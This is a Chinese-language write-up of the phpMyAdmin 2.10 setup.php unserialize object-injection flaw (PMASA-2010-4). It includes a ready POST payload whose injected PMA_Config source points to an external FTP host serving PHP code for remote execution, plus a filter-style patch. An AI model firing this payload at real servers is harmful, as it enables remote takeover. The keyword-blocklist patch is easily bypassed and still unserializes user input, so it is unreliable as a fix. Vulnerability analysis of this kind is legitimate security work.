phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

对这个漏洞简单的概括如下

. "/scripts/setup.php"会接收用户发送的序列化POST数据
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%%3A1%3A%7Bs%3A6%3A%22source%%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.%2fs.txt%%3B%7D%7D
/*
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/ . "/scripts/setup.php"会对"$_POST['configuration']"进行反序列化
setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测 . 黑客可以在POST数据中注入"序列化后的PMA_Config对象"
setup.php在反序列化一个"序列化后的PMA_Config对象"的时候,会对这个对象进行"重新初始化",即再次调用它的构造函数
function __construct($source = null)
{
$this->settings = array(); // functions need to refresh in case of config file changed goes in
// PMA_Config::load()
$this->load($source); // other settings, independant from config file, comes in
$this->checkSystem(); $this->checkIsHttps();
} . PMA_Config对象的构造函数会重新引入"$source"对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量"本地变量注册化"
function load($source = null)
{
$this->loadDefaults(); if (null !== $source) {
$this->setSource($source);
} if (! $this->checkConfigSource()) {
return false;
} $cfg = array(); /**
* Parses the configuration file
*/
$old_error_reporting = error_reporting();
//使用eval方式引入外部的配置文件
if (function_exists('file_get_contents'))
{
$eval_result = eval('?>' . trim(file_get_contents($this->getSource())));
}
else
{
$eval_result =
eval('?>' . trim(implode("\n", file($this->getSource()))));
}
error_reporting($old_error_reporting); if ($eval_result === false) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
...

最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE

Relevant Link:

http://php.net/manual/zh/function.unserialize.php
http://drops.wooyun.org/papers/596
http://drops.wooyun.org/tips/3909
http://blog.csdn.net/cnbird2008/article/details/7491216

2. 漏洞触发条件

0x1: POC

token需要动态获取

. POST
http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php . DATA
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%%3A1%3A%7Bs%3A6%3A%22source%%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.%2fs.txt%%3B%7D%7D
/*
source要是一个外部的文本文件,需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

3. 漏洞影响范围

. phpmyadmin 2.10
. <= phpmyadmin 2.10

4. 漏洞代码分析

0x1: PHP serialize && unserialize

关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4242535.html

0x2: "/scripts/setup.php"

if (isset($_POST['configuration']) && $action != 'clear' )
{
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
}
else
{
// Start with empty configuration
$configuration = array();
}

漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间

0x3: \libraries\Config.class.php

/**
* re-init object after loading from session file
* checks config file for changes and relaods if neccessary
*/
function __wakeup()
{
//在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数
if (! $this->checkConfigSource()
|| $this->source_mtime !== filemtime($this->getSource())
|| $this->default_source_mtime !== filemtime($this->default_source)
|| $this->error_config_file
|| $this->error_config_default_file) {
$this->settings = array();
$this->load();
$this->checkSystem();
} // check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps(); $this->checkCollationConnection();
$this->checkFontsize();
}

5. 防御方法

0x1: Apply Patch

if (isset($_POST['configuration']) && $action != 'clear' )
{
$configuration = array();
//协议的匹配忽略大小写
if ( (strpos($_POST['configuration'], "PMA_Config") !== false) && ( (stripos($_POST['configuration'], "ftp://") !== false) || (stripos($_POST['configuration'], "http://") !== false) ) )
{
$configuration = array();
}
else
{
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
}
}
else
{
// Start with empty configuration
$configuration = array();
}

6. 攻防思考

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